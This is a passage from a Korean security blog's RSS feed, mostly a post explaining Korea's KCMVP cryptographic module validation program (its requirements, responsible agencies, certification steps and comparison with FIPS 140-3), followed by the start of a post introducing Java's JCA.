검증해왔으며,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;미국의 CMVP(FIPS 140 표준) 제도를 참고하여 구축&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;되었습니다​&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot; data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;. 이를 통해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;국가적으로 신뢰할 수 있는 암호 기반환경을 조성&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;하고 보안성을 확보하는 것이 KCMVP의 주요 목적입니다.&lt;/span&gt;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;기술적 요구사항 (암호모듈 구성요소 및 알고리즘 요건)&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;암호모듈&lt;/b&gt;이란 정보 보호를 위해 암호연산을 수행하는 하드웨어, 소프트웨어, 펌웨어 또는 이들의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;조합으로 이루어진 구성요소&lt;/b&gt;를 말합니다. KCMVP에서는 이러한 다양한 형태의 암호모듈을 검증 대상으로 삼으며,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;모듈의 형태에 관계없이 공통된 보안 요구사항을 적용&lt;/b&gt;합니다. 암호모듈은 보안성에 따라 1부터 4까지의 보안수준을 부여받는데,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;1등급이 가장 기본적인 보안 요구사항을 충족하는 수준이고 4등급이 가장 높은 단계&lt;/b&gt;입니다.&amp;nbsp;등급이 높아질수록&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;키 관리, 자기 진단(Self-tests), 물리적 변조 방지&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등의 요구사항이 강화되며, 예를 들어 4등급은 엄격한 물리적 보안과 변조 시 즉각적인 키 소멸 등의 최고 수준 보안기능을 요구합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;암호모듈이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;충족해야 할 기술적 요건&lt;/b&gt;은 국제 표준에 부합되도록 정의되어 있습니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;국가표준 KS X ISO/IEC 19790:2015 (암호모듈 보안 요구사항)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;및 KS X ISO/IEC 24759:2015 (암호모듈 시험 요구사항)을 KCMVP의 평가 기준으로 채택하여, 모듈의 설계부터 운영까지 다양한 보안 요구사항을 검사합니다. 또한 암호모듈에 구현된&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;암호 알고리즘의 적합성 검증&lt;/b&gt;도 중요한 기술 요건입니다. KCMVP에서는 모듈이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;국가가 승인한 안전한 암호 알고리즘&lt;/b&gt;을 사용하고 있는지, 그리고 해당 알고리즘을 정확히 구현했는지를 검증합니다. 검증 대상이 되는 알고리즘 유형은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;블록암호 및 운영모드, 해시 함수, 메시지 인증코드(MAC), 의사난수/난수 발생기, 공개키 암호, 전자서명, 키 합의/분배, 키 유도&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등으로 광범위합니다. 예를 들어 국내 표준 알고리즘인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;ARIA, SEED, LEA, HIGHT 블록암호&lt;/b&gt;, SHA-2/LSH 해시함수, HMAC/CMAC 메시지인증, RSA/ECC 기반 전자서명 및 키교환, 난수발생기(DRBG) 등이 이에 포함됩니다. 알고리즘 구현의 정확성은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;KCAVS&lt;/b&gt;(Korea Cryptographic Algorithm Validation Suite)라는 테스트 도구를 통해 확인하는데, 입력값과 예상 출력값을 비교하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;KAVP(CAVP) 테스트&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;절차를 거쳐 알고리즘이 표준에 맞게 동작하는지 검증합니다. 이러한 기술적 요구사항을 모두 만족해야 KCMVP 인증을 통과할 수 있으며, 결과적으로 해당 암호모듈은 지정된 보안수준(1~4)으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;검증필(Validated)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;인증을 받게 됩니다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;인증 대상과 적용 범위 (인증 대상 제품 및 활용)&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;KCMVP 인증은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;국가 및 공공 분야에서 사용되는 IT제품의 암호모듈&lt;/b&gt;에 대해 사실상&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;의무적으로 요구&lt;/b&gt;되고 있습니다. 국가정보원은 일정한 유형의 보안제품을 정부&amp;middot;공공기관에 도입할 때&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;반드시 KCMVP 검증필 암호모듈을 사용할 것&lt;/b&gt;을 규정하고 있습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예를 들면 다음과 같은 제품 분야에서는 KCMVP 인증을 받은 암호모듈의 탑재가 필수적입니다&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;DB(데이터베이스) 암호화 시스템&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; 데이터베이스에 저장된 정보를 암호화/복호화하는 솔루션&lt;/li&gt;
&lt;li&gt;&lt;b&gt;통합인증 시스템 (SSO 등)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; Single Sign-On 등 사용자 인증을 처리하는 솔루션&lt;/li&gt;
&lt;li&gt;&lt;b&gt;문서 암호화 제품 (DRM 등)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; 디지털저작권관리(DRM) 등 문서/파일 암호화 솔루션&lt;/li&gt;
&lt;li&gt;&lt;b&gt;가상사설망 (VPN)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; 네트워크 구간 암호화를 통한 VPN 장비 및 소프트웨어&lt;/li&gt;
&lt;li&gt;&lt;b&gt;소프트웨어 기반 보안 USB&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; USB 저장매체에 대한 암호화 보안 기능이 있는 제품&lt;/li&gt;
&lt;li&gt;&lt;b&gt;내부정보 유출방지(DLP) 시스템&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; PC/서버 등의 중요 정보 유출을 차단하는 보안 제품&lt;/li&gt;
&lt;li&gt;&lt;b&gt;양자암호통신 장비&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; 양자키분배(QKD) 장비, 양자키관리, 양자암호화 통신장비 등 차세대 암호기술 제품&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기타 암호기능이 주요한 제품&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; 이메일 암호화, 구간(링크) 암호화 장비, 디스크/파일 암호화 솔루션, 하드웨어 보안토큰 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;상기의 제품들은 모두&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;암호기능이 핵심&lt;/b&gt;이므로, 그 내부에 탑재된 암호모듈이 KCMVP 인증을 받아야 안전한 제품으로 간주됩니다. 만약 검증되지 않은 모듈을 사용한 제품은 국가&amp;middot;공공기관에 납품할 수 없거나, 기관 자체 지침에 따라 배제가 될 수 있습니다. 따라서 관련 업계에서는 정부용 제품을 개발할 때&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;반드시 먼저 암호모듈에 대한 KCMVP 인증을 획득&lt;/b&gt;하는 것이 필수적인 절차로 자리잡고 있습니다. 인증 받은 암호모듈은 국가정보원에서 &quot;검증필 암호모듈 목록&amp;rdquo;으로 공개 관리되며, 각 기관은 도입 시 해당 목록을 참조해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;인증의 유효성(만료 여부), 모듈의 해시값 무결성, 보안정책 문서&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등을 확인하도록 권고됩니다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;관련 기관 및 역할&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;KCMVP 제도는 국가정보원(NIS)이 총괄하며, 여러&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;시험 기관&lt;/b&gt;들이 협력하는 구조로 운영됩니다. 여기서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;국가정보원&lt;/b&gt;은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;검증기관&lt;/b&gt;의 역할을 수행하는데, 암호모듈 보안기준의 제정과 인증 정책 수립, 최종 인증서 발급을 관장합니다. 국가정보원 산하에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;암호모듈검증위원회&lt;/b&gt;를 두어 암호 전문가들이 모듈의 보안성을 심의&amp;middot;의결하고, 인증 여부를 최종 결정합니다. 한편 실제로 암호모듈의 시험 및 평가 업무를 담당하는 곳은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;공인 시험기관&lt;/b&gt;들입니다. 주요 시험기관으로는 국가보안기술연구소(NSR)와 한국인터넷진흥원(KISA)이 있으며, 이외에도 일정 자격을 갖춘&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;민간 시험기관&lt;/b&gt;이 지정될 수 있습니다. 현재 KCMVP 시험기관으로는 국가보안기술연구소, KISA 외에 민간 기업인 KOSYAS 등이 지정되어 있습니다. 이들 시험기관(Testing Laboratory)은 암호모듈 개발업체로부터 시험 의뢰를 받아 모듈에 대한 평가를 수행하고, 그 결과를 국가정보원에 보고하는 역할을 맡습니다. 민간 기관이 시험기관으로 지정되려면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;국내에 위치하고 일정 수 이상의 암호전문가를 보유&lt;/b&gt;하는 등 엄격한 요건을 충족해야 하며, 지정 후에도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;정기적인 재인증 심사&lt;/b&gt;를 통해 자격을 유지합니다. 이처럼 국가정보원(검증기관)과 시험기관(전문 평가기관)이 협력하여 운영됨으로써, 평가의 공정성과 기술 전문성이 확보되고 있습니다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;인증 절차 (신청부터 인증서 발급까지)&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;KCMVP&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;인증 절차&lt;/b&gt;는 공식적으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;7단계&lt;/b&gt;로 설명되지만, 크게 요약하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;암호모듈 개발업체&amp;rarr;시험기관 평가&amp;rarr;국정원 검증&lt;/b&gt;의 순서로 진행됩니다.&amp;nbsp;아래에 단계별로 절차를 설명합니다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;인증 신청:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;암호모듈을 개발한 업체(신청기관)는 준비된 모듈과 관련 문서를 갖추어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;국정원이 지정한 시험기관&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;검증 신청&lt;/b&gt;을 합니다. 이 단계에서 모듈의 기능, 사용된 알고리즘, 보안설계에 대한 설명이 담긴&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;보안정책서&lt;/b&gt;, 설계명세 등 제출자료를 준비하여 시험기관에 제출합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;시험 계약 및 평가 수행:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;시험기관은 신청을 접수하면 업체와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;시험평가 계약&lt;/b&gt;을 체결하고 본격적인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;평가 업무를 수행&lt;/b&gt;합니다. 평가 과정에서는 우선&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;암호 알고리즘 구현 적합성 검증&lt;/b&gt;(KAVP 테스트)을 실시하여 모듈에 구현된 알고리즘들이 표준에 맞게 동작하는지 확인합니다.&amp;nbsp;또한 제출된 설계 문서와 모듈을 분석하여,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;암호모듈 보안 요구사항&lt;/b&gt;(KS X ISO/IEC 19790 기준)에 따른 구현 여부를 점검합니다. 예를 들어,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;초기 자기진단 기능&lt;/b&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;키 관리 방식&lt;/b&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;권한 분리&lt;/b&gt;가 적절히 구현되었는지,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;물리적 장치의 경우 감응 탐지 장치&lt;/b&gt;나&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;봉인(seal)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 변조 방지 기구가 등급 요구에 부합하는지 등을 평가합니다. 이 모든 시험 과정은 국제 표준에 따라 정형화된 절차로 진행되며, 필요 시 개발사에 질의하거나 수정 기회를 제공하면서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;보완 테스트&lt;/b&gt;가 수행되기도 합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;시험 결과 보고:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;시험기관의 평가가 완료되면, 그&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;시험 결과와 평가보고서가 국가정보원(검증기관)에 제출&lt;/b&gt;됩니다. 보고서에는 모듈의 보안설계 적합성 평가, 알고리즘 테스트 결과, 발견된 문제 및 조치 내역, 권고 등급 등이 포함됩니다. 시험기관은 이러한 상세한 결과를 정리하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;검증기관에 공식 보고&lt;/b&gt;함으로써, 최종 인증을 위한 심의를 요청하게 됩니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;검증 심의 및 결정:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;국가정보원은 접수된 평가 결과를 가지고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;암호모듈검증위원회&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;회의를 개최합니다. 위원회는 제출된 자료를 심의하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;암호모듈이 요구되는 보안 기준을 만족하는지, 적정한 보안등급을 부여할 수 있는지&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등을 검토합니다. 필요하면 시험기관이나 개발업체에 추가 자료나 설명을 요구할 수도 있습니다. 심의 결과&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;인증 요건을 모두 충족했다고 의결되면 인증 승인&lt;/b&gt;으로 결정되며, 만약 기준을 충족하지 못한 부분이 발견되면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;보완 또는 인증불가&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;결정이 내려집니다. 이 단계까지가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;검증기관의 최종 판단 과정&lt;/b&gt;이며, 실질적인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;인증 여부 및 등급&lt;/b&gt;이 확정됩니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인증서 발급 및 목록 등재:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;국가정보원은 위원회의 심의 결과에 따라 해당 암호모듈의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;인증서(검증서)를 발급&lt;/b&gt;하고, 공식&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;검증필 암호모듈 목록에 등재&lt;/b&gt;합니다. 인증결과는 시험기관을 통해 신청업체에 통보되며, 인증된 모듈에는 고유한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;검증번호&lt;/b&gt;와 인증서가 부여됩니다. 이후 누구나 열람할 수 있는 국가정보원 공개 목록에 모듈 명칭, 버전, 개발사, 부여등급, 유효기간 등의 정보가 등록되어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;공개 검증 상태&lt;/b&gt;가 됩니다. 인증서에는 모듈이 준수한 보안등급과 알고리즘 목록, 적용 범위 등이 명시되며, 개발업체는 해당 모듈을 &amp;ldquo;KCMVP 검증필&amp;rdquo;이라고 홍보할 수 있게 됩니다. (※ 인증 후에도 모듈에 중대한 변경이 발생하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;재평가&lt;/b&gt;를 받아야 하며, 5년 주기로 인증효력 연장 여부를 검토합니다.)&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;以上의 절차를 거쳐 KCMVP 인증을 획득하게 되며, 전체 과정에는 통상 수개월에서 1년가량의 시간이 소요됩니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;예비검토(사전컨설팅), 보완조치 시간 등을 포함하면 기간은 달라질 수 있고, 2023년부터는 신청 절차의 투명성과 신속성을 높이기 위해 온라인 신청 시스템 도입이 추진되고 있습니다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;국제 기준(FIPS 140-3 등)과의 연계성 및 차이점&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;KCMVP는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;국제 암호모듈 보안 기준과 밀접하게 연계&lt;/b&gt;되어 있습니다. 앞서 언급한 KS X ISO/IEC 19790 표준은 미국 연방표준&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;FIPS 140-2/3&lt;/b&gt;에 대응하는 국제 표준으로,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;미국, 캐나다, 일본 등도 이 표준을 자국 인증에 적용&lt;/b&gt;하고 있습니다. 실제로 KCMVP 제도는 미국 NIST의 CMVP(Cryptographic Module Validation Program)를 본떠 만들어졌으며, FIPS 140-2의 기준을 초창기부터 수용하여 운영되다가 현재는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;FIPS 140-3(ISO 19790 2판) 기준&lt;/b&gt;까지 반영하고 있습니다. 따라서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;평가 항목이나 보안등급 체계 면에서 KCMVP와 FIPS 140-3는 큰 틀에서 상호 대응&lt;/b&gt;됩니다. 예를 들어 FIPS 140-3의 Security Level 1~4 요구사항이 KCMVP에도 유사하게 적용되며, 자기진단, 키관리, 물리적 보안 등의 개념도 동일한 국제 기준에 근거합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그럼에도 불구하고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;KCMVP와 국제 인증 간에는 몇 가지 차이점&lt;/b&gt;이 존재합니다. 우선,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;암호 알고리즘의 정책적 차이&lt;/b&gt;가 두드러집니다. KCMVP에서는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;국산 알고리즘 중심의 암호체계&lt;/b&gt;를 채택하여 국가가 인정한 알고리즘을 위주로 인증을 실시해왔는데, 이러한 체계는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;미국의 FIPS 140 인증이나 유럽의 CC(Common Criteria) 인증과 상호 호환되지 않는 측면&lt;/b&gt;이 있습니다. 예를 들어 한국의 KCMVP 모듈들은 ARIA, SEED, LSH 등의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;국내 표준 알고리즘&lt;/b&gt;을 포함하는 경우가 많지만, 미국 FIPS 인증에서는 AES, SHA-2 등&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;NIST 표준 알고리즘&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;위주로 평가됩니다. 따라서 한쪽에서 인증받은 모듈이라도 다른 쪽 표준에 맞지 않는 알고리즘을 썼다면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;그대로 상호인정되지 않으며 별도 인증을 받아야&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;합니다. 실제로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;KCMVP 인증서는 국내 용도로만 효력을 가지며&lt;/b&gt;, 미국 정부 조달을 위해서는 별도로 FIPS 140 인증을 취득해야 하는 등&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;국제 상호인증 체계는 구축되어 있지 않습니다&lt;/b&gt;. 이와 관련해 &amp;ldquo;국내 KCMVP와 국산 알고리즘 중심 체계는 미국 FIPS-140이나 유럽 CC와 호환되지 않는다&amp;rdquo;는 업계 지적도 있어, 향후 국내 알고리즘의 국제 표준화 추진과 상호인정 논의가 과제로 남아 있습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;또 다른 차이로는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;인증 활용과 현황의 차이&lt;/b&gt;가 있습니다. 미국의 CMVP는 1990년대 중반부터 시행되어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;수천 건 이상의 모듈이 인증&lt;/b&gt;되었고, Level 3~4의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;고등급 HSM(Device) 인증 사례도 다수&lt;/b&gt;인 반면, 국내 KCMVP는 2009년 이후 2023년까지&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;누적 250여 건&lt;/b&gt;의 인증에 그쳐 규모가 작으며 대부분&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;소프트웨어 모듈 위주의 1~2등급 인증&lt;/b&gt;이었습니다. 이는 국내에서 고가의 하드웨어 보안모듈(HSM)보다 소프트웨어 구현 위주로 인증을 받아왔음을 보여주며, 아직까지 최고 등급인 4등급 인증을 받은 사례는 없습니다. 다만&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;일본(JCMVP)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등 다른 국가 사례와 비교하면 한국의 인증 건수는 많은 편이고, 향후 양자내성암호 등의 등장으로 인증 수요와 국제 협력이 늘어날 것으로 전망됩니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;요약하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;KCMVP는 국제표준 기반으로 운영되면서도 국내 환경에 특화된 암호모듈 인증제도&lt;/b&gt;라고 할 수 있습니다. 국제 기준과&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;동등한 기술 신뢰성&lt;/b&gt;을 확보함과 동시에, 국내에서 필요한 알고리즘과 정책을 반영하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;자국 보안주권을 유지&lt;/b&gt;하는 균형을 추구하고 있습니다. 향후에는 FIPS 140-3를 비롯한 국제동향에 발맞추어 기준을 계속 개정하되, 글로벌 상호인정이나 국산 알고리즘의 국제적 승인 등을 통해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;KCMVP의 국제 호환성을 높이는 노력&lt;/b&gt;도 병행될 것으로 기대됩니다.&lt;/p&gt;</description>
      <category>암호</category>
      <category>cryptographicmodule</category>
      <category>KCMVP</category>
      <category>암호모듈</category>
      <category>암호모듈검증제도</category>
      <category>한국암호모듈검증제도</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/11</guid>
      <comments>https://defcon.tistory.com/11#entry11comment</comments>
      <pubDate>Mon, 21 Apr 2025 21:53:54 +0900</pubDate>
    </item>
    <item>
      <title>JAVA JCA(Java Cryptography Architecture)의 개념</title>
      <link>https://defcon.tistory.com/10</link>
      <description>&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;Java 암호화 아키텍처(JCA) 개요&lt;/b&gt;&lt;/h1&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;JCA의 개념 및 구조&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Java Cryptography Architecture(JCA)는 자바 플랫폼에서 암호화 관련 기능을 제공하는 핵심 프레임워크로, 각종 보안 서비스를 통합된 방식으로 지원합니다. 예를 들어 JCA는 전자서명(Digital Signature), 메시지 다이제스트(Message Digest, 해시),&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;인증서 및 인증서 유효성 검사&lt;/b&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;암호화(대칭/비대칭)&lt;/b&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;키 생성 및 관리&lt;/b&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;보안 난수 생성&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등 현대 암호기술에 필요한 거의 모든 기능을 포함합니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;. JCA는 &amp;ldquo;프로바이더(provider) 아키텍처&amp;rdquo;라는 플러그인 구조를 기반으로 설계되어, 구현으로부터 독립적인 표준 API와 여러 알고리즘의 유연한 탑재를 가능하게 합니다. 이러한 설계로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;구현 독립성&lt;/b&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;구현 상호운용성&lt;/b&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;알고리즘 확장성&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 원칙을 충족하며&lt;span&gt;&amp;nbsp;&lt;/span&gt;, 개발자는 보안 알고리즘의 이론적 세부 내용을 직접 구현하지 않고도 표준 API 호출만으로 필요한 보안 서비스를 사용할 수 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
